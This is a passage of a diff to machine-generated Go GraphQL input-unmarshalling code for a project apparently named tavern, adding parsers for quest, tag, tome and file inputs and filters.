+		case "intervalNotIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGTE"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalNotIn"))
+			data, err := ec.unmarshalOUint642ᚕuint64ᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameGTE = data
-		case "nameLT":
+			it.IntervalNotIn = data
+		case "intervalGT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLT"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalGT"))
+			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameLT = data
-		case "nameLTE":
+			it.IntervalGT = data
+		case "intervalGTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLTE"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalGTE"))
+			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameLTE = data
-		case "nameContains":
+			it.IntervalGTE = data
+		case "intervalLT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContains"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalLT"))
+			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameContains = data
-		case "nameHasPrefix":
+			it.IntervalLT = data
+		case "intervalLTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasPrefix"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalLTE"))
+			data, err := ec.unmarshalOUint642ᚖuint64(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameHasPrefix = data
-		case "nameHasSuffix":
+			it.IntervalLTE = data
+		case "intervalIsNil":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasSuffix"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalIsNil"))
+			data, err := ec.unmarshalOBoolean2bool(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameHasSuffix = data
-		case "nameEqualFold":
+			it.IntervalIsNil = data
+		case "intervalNotNil":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameEqualFold"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalNotNil"))
+			data, err := ec.unmarshalOBoolean2bool(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameEqualFold = data
-		case "nameContainsFold":
+			it.IntervalNotNil = data
+		case "hasHost":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContainsFold"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasHost"))
+			data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.NameContainsFold = data
-		case "principal":
+			it.HasHost = data
+		case "hasHostWith":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principal"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasHostWith"))
+			data, err := ec.unmarshalOHostWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostWhereInputᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Principal = data
-		case "principalNEQ":
+			it.HasHostWith = data
+		case "hasTasks":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalNEQ"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTasks"))
+			data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.PrincipalNEQ = data
-		case "principalIn":
+			it.HasTasks = data
+		case "hasTasksWith":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalIn"))
-			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTasksWith"))
+			data, err := ec.unmarshalOTaskWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTaskWhereInputᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.PrincipalIn = data
-		case "principalNotIn":
+			it.HasTasksWith = data
+		}
+	}
+
+	return it, nil
+}
+
+func (ec *executionContext) unmarshalInputCreateQuestInput(ctx context.Context, obj interface{}) (ent.CreateQuestInput, error) {
+	var it ent.CreateQuestInput
+	asMap := map[string]interface{}{}
+	for k, v := range obj.(map[string]interface{}) {
+		asMap[k] = v
+	}
+
+	fieldsInOrder := [...]string{"name", "parameters", "tomeID"}
+	for _, k := range fieldsInOrder {
+		v, ok := asMap[k]
+		if !ok {
+			continue
+		}
+		switch k {
+		case "name":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalNotIn"))
-			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name"))
+			data, err := ec.unmarshalNString2string(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.PrincipalNotIn = data
-		case "principalGT":
+			it.Name = data
+		case "parameters":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalGT"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("parameters"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.PrincipalGT = data
-		case "principalGTE":
+			it.Parameters = data
+		case "tomeID":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalGTE"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("tomeID"))
+			data, err := ec.unmarshalNID2int(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.PrincipalGTE = data
-		case "principalLT":
+			it.TomeID = data
+		}
+	}
+
+	return it, nil
+}
+
+func (ec *executionContext) unmarshalInputCreateTagInput(ctx context.Context, obj interface{}) (ent.CreateTagInput, error) {
+	var it ent.CreateTagInput
+	asMap := map[string]interface{}{}
+	for k, v := range obj.(map[string]interface{}) {
+		asMap[k] = v
+	}
+
+	fieldsInOrder := [...]string{"name", "kind", "hostIDs"}
+	for _, k := range fieldsInOrder {
+		v, ok := asMap[k]
+		if !ok {
+			continue
+		}
+		switch k {
+		case "name":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalLT"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name"))
+			data, err := ec.unmarshalNString2string(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.PrincipalLT = data
-		case "principalLTE":
+			it.Name = data
+		case "kind":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalLTE"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("kind"))
+			data, err := ec.unmarshalNTagKind2realmᚗpubᚋtavernᚋinternalᚋentᚋtagᚐKind(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.PrincipalLTE = data
-		case "principalContains":
+			it.Kind = data
+		case "hostIDs":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalContains"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hostIDs"))
+			data, err := ec.unmarshalOID2ᚕintᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.PrincipalContains = data
-		case "principalHasPrefix":
+			it.HostIDs = data
+		}
+	}
+
+	return it, nil
+}
+
+func (ec *executionContext) unmarshalInputCreateTomeInput(ctx context.Context, obj interface{}) (ent.CreateTomeInput, error) {
+	var it ent.CreateTomeInput
+	asMap := map[string]interface{}{}
+	for k, v := range obj.(map[string]interface{}) {
+		asMap[k] = v
+	}
+
+	fieldsInOrder := [...]string{"name", "description", "author", "supportModel", "tactic", "paramDefs", "eldritch", "fileIDs"}
+	for _, k := range fieldsInOrder {
+		v, ok := asMap[k]
+		if !ok {
+			continue
+		}
+		switch k {
+		case "name":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalHasPrefix"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name"))
+			data, err := ec.unmarshalNString2string(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.PrincipalHasPrefix = data
-		case "principalHasSuffix":
+			it.Name = data
+		case "description":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalHasSuffix"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("description"))
+			data, err := ec.unmarshalNString2string(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.PrincipalHasSuffix = data
-		case "principalIsNil":
+			it.Description = data
+		case "author":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalIsNil"))
-			data, err := ec.unmarshalOBoolean2bool(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("author"))
+			data, err := ec.unmarshalNString2string(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.PrincipalIsNil = data
-		case "principalNotNil":
+			it.Author = data
+		case "supportModel":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalNotNil"))
-			data, err := ec.unmarshalOBoolean2bool(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("supportModel"))
+			data, err := ec.unmarshalOTomeSupportModel2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚋtomeᚐSupportModel(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.PrincipalNotNil = data
-		case "principalEqualFold":
+			it.SupportModel = data
+		case "tactic":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalEqualFold"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("tactic"))
+			data, err := ec.unmarshalOTomeTactic2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚋtomeᚐTactic(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.PrincipalEqualFold = data
-		case "principalContainsFold":
+			it.Tactic = data
+		case "paramDefs":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("principalContainsFold"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("paramDefs"))
 			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.PrincipalContainsFold = data
-		case "identifier":
+			it.ParamDefs = data
+		case "eldritch":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifier"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("eldritch"))
+			data, err := ec.unmarshalNString2string(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.Identifier = data
-		case "identifierNEQ":
+			it.Eldritch = data
+		case "fileIDs":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierNEQ"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("fileIDs"))
+			data, err := ec.unmarshalOID2ᚕintᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IdentifierNEQ = data
-		case "identifierIn":
+			it.FileIDs = data
+		}
+	}
+
+	return it, nil
+}
+
+func (ec *executionContext) unmarshalInputFileOrder(ctx context.Context, obj interface{}) (ent.FileOrder, error) {
+	var it ent.FileOrder
+	asMap := map[string]interface{}{}
+	for k, v := range obj.(map[string]interface{}) {
+		asMap[k] = v
+	}
+
+	if _, present := asMap["direction"]; !present {
+		asMap["direction"] = "ASC"
+	}
+
+	fieldsInOrder := [...]string{"direction", "field"}
+	for _, k := range fieldsInOrder {
+		v, ok := asMap[k]
+		if !ok {
+			continue
+		}
+		switch k {
+		case "direction":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierIn"))
-			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("direction"))
+			data, err := ec.unmarshalNOrderDirection2entgoᚗioᚋcontribᚋentgqlᚐOrderDirection(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IdentifierIn = data
-		case "identifierNotIn":
+			it.Direction = data
+		case "field":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierNotIn"))
-			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("field"))
+			data, err := ec.unmarshalNFileOrderField2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐFileOrderField(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IdentifierNotIn = data
-		case "identifierGT":
+			it.Field = data
+		}
+	}
+
+	return it, nil
+}
+
+func (ec *executionContext) unmarshalInputFileWhereInput(ctx context.Context, obj interface{}) (ent.FileWhereInput, error) {
+	var it ent.FileWhereInput
+	asMap := map[string]interface{}{}
+	for k, v := range obj.(map[string]interface{}) {
+		asMap[k] = v
+	}
+
+	fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "name", "nameNEQ", "nameIn", "nameNotIn", "nameGT", "nameGTE", "nameLT", "nameLTE", "nameContains", "nameHasPrefix", "nameHasSuffix", "nameEqualFold", "nameContainsFold", "size", "sizeNEQ", "sizeIn", "sizeNotIn", "sizeGT", "sizeGTE", "sizeLT", "sizeLTE", "hash", "hashNEQ", "hashIn", "hashNotIn", "hashGT", "hashGTE", "hashLT", "hashLTE", "hashContains", "hashHasPrefix", "hashHasSuffix", "hashEqualFold", "hashContainsFold", "hasTomes", "hasTomesWith"}
+	for _, k := range fieldsInOrder {
+		v, ok := asMap[k]
+		if !ok {
+			continue
+		}
+		switch k {
+		case "not":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierGT"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("not"))
+			data, err := ec.unmarshalOFileWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐFileWhereInput(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IdentifierGT = data
-		case "identifierGTE":
+			it.Not = data
+		case "and":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierGTE"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("and"))
+			data, err := ec.unmarshalOFileWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐFileWhereInputᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IdentifierGTE = data
-		case "identifierLT":
+			it.And = data
+		case "or":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierLT"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("or"))
+			data, err := ec.unmarshalOFileWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐFileWhereInputᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IdentifierLT = data
-		case "identifierLTE":
+			it.Or = data
+		case "id":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierLTE"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("id"))
+			data, err := ec.unmarshalOID2ᚖint(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IdentifierLTE = data
-		case "identifierContains":
+			it.ID = data
+		case "idNEQ":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierContains"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNEQ"))
+			data, err := ec.unmarshalOID2ᚖint(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IdentifierContains = data
-		case "identifierHasPrefix":
+			it.IDNEQ = data
+		case "idIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierHasPrefix"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idIn"))
+			data, err := ec.unmarshalOID2ᚕintᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IdentifierHasPrefix = data
-		case "identifierHasSuffix":
+			it.IDIn = data
+		case "idNotIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierHasSuffix"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNotIn"))
+			data, err := ec.unmarshalOID2ᚕintᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IdentifierHasSuffix = data
-		case "identifierEqualFold":
+			it.IDNotIn = data
+		case "idGT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierEqualFold"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGT"))
+			data, err := ec.unmarshalOID2ᚖint(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IdentifierEqualFold = data
-		case "identifierContainsFold":
+			it.IDGT = data
+		case "idGTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("identifierContainsFold"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGTE"))
+			data, err := ec.unmarshalOID2ᚖint(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.IdentifierContainsFold = data
-		case "agentIdentifier":
+			it.IDGTE = data
+		case "idLT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifier"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLT"))
+			data, err := ec.unmarshalOID2ᚖint(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.AgentIdentifier = data
-		case "agentIdentifierNEQ":
+			it.IDLT = data
+		case "idLTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierNEQ"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLTE"))
+			data, err := ec.unmarshalOID2ᚖint(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.AgentIdentifierNEQ = data
-		case "agentIdentifierIn":
+			it.IDLTE = data
+		case "createdAt":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierIn"))
-			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAt"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.AgentIdentifierIn = data
-		case "agentIdentifierNotIn":
+			it.CreatedAt = data
+		case "createdAtNEQ":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierNotIn"))
-			data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtNEQ"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.AgentIdentifierNotIn = data
-		case "agentIdentifierGT":
+			it.CreatedAtNEQ = data
+		case "createdAtIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierGT"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtIn"))
+			data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.AgentIdentifierGT = data
-		case "agentIdentifierGTE":
+			it.CreatedAtIn = data
+		case "createdAtNotIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierGTE"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtNotIn"))
+			data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.AgentIdentifierGTE = data
-		case "agentIdentifierLT":
+			it.CreatedAtNotIn = data
+		case "createdAtGT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierLT"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtGT"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.AgentIdentifierLT = data
-		case "agentIdentifierLTE":
+			it.CreatedAtGT = data
+		case "createdAtGTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierLTE"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtGTE"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.AgentIdentifierLTE = data
-		case "agentIdentifierContains":
+			it.CreatedAtGTE = data
+		case "createdAtLT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierContains"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtLT"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.AgentIdentifierContains = data
-		case "agentIdentifierHasPrefix":
+			it.CreatedAtLT = data
+		case "createdAtLTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierHasPrefix"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("createdAtLTE"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.AgentIdentifierHasPrefix = data
-		case "agentIdentifierHasSuffix":
+			it.CreatedAtLTE = data
+		case "lastModifiedAt":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierHasSuffix"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAt"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.AgentIdentifierHasSuffix = data
-		case "agentIdentifierIsNil":
+			it.LastModifiedAt = data
+		case "lastModifiedAtNEQ":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierIsNil"))
-			data, err := ec.unmarshalOBoolean2bool(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtNEQ"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.AgentIdentifierIsNil = data
-		case "agentIdentifierNotNil":
+			it.LastModifiedAtNEQ = data
+		case "lastModifiedAtIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierNotNil"))
-			data, err := ec.unmarshalOBoolean2bool(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtIn"))
+			data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.AgentIdentifierNotNil = data
-		case "agentIdentifierEqualFold":
+			it.LastModifiedAtIn = data
+		case "lastModifiedAtNotIn":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierEqualFold"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtNotIn"))
+			data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.AgentIdentifierEqualFold = data
-		case "agentIdentifierContainsFold":
+			it.LastModifiedAtNotIn = data
+		case "lastModifiedAtGT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("agentIdentifierContainsFold"))
-			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtGT"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.AgentIdentifierContainsFold = data
-		case "lastSeenAt":
+			it.LastModifiedAtGT = data
+		case "lastModifiedAtGTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAt"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtGTE"))
 			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastSeenAt = data
-		case "lastSeenAtNEQ":
+			it.LastModifiedAtGTE = data
+		case "lastModifiedAtLT":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtNEQ"))
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtLT"))
 			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastSeenAtNEQ = data
-		case "lastSeenAtIn":
+			it.LastModifiedAtLT = data
+		case "lastModifiedAtLTE":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtIn"))
-			data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastModifiedAtLTE"))
+			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastSeenAtIn = data
-		case "lastSeenAtNotIn":
+			it.LastModifiedAtLTE = data
+		case "name":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtNotIn"))
-			data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastSeenAtNotIn = data
-		case "lastSeenAtGT":
+			it.Name = data
+		case "nameNEQ":
 			var err error
 
-			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastSeenAtGT"))
-			data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v)
+			ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNEQ"))
+			data, err := ec.unmarshalOString2ᚖstring(ctx, v)
 			if err != nil {
 				return it, err
 			}
-			it.LastSeenAtGT = data
-		case "lastSeenAtGTE":
+			it.NameNEQ = data
+		case "nameIn":
 			var err error
-
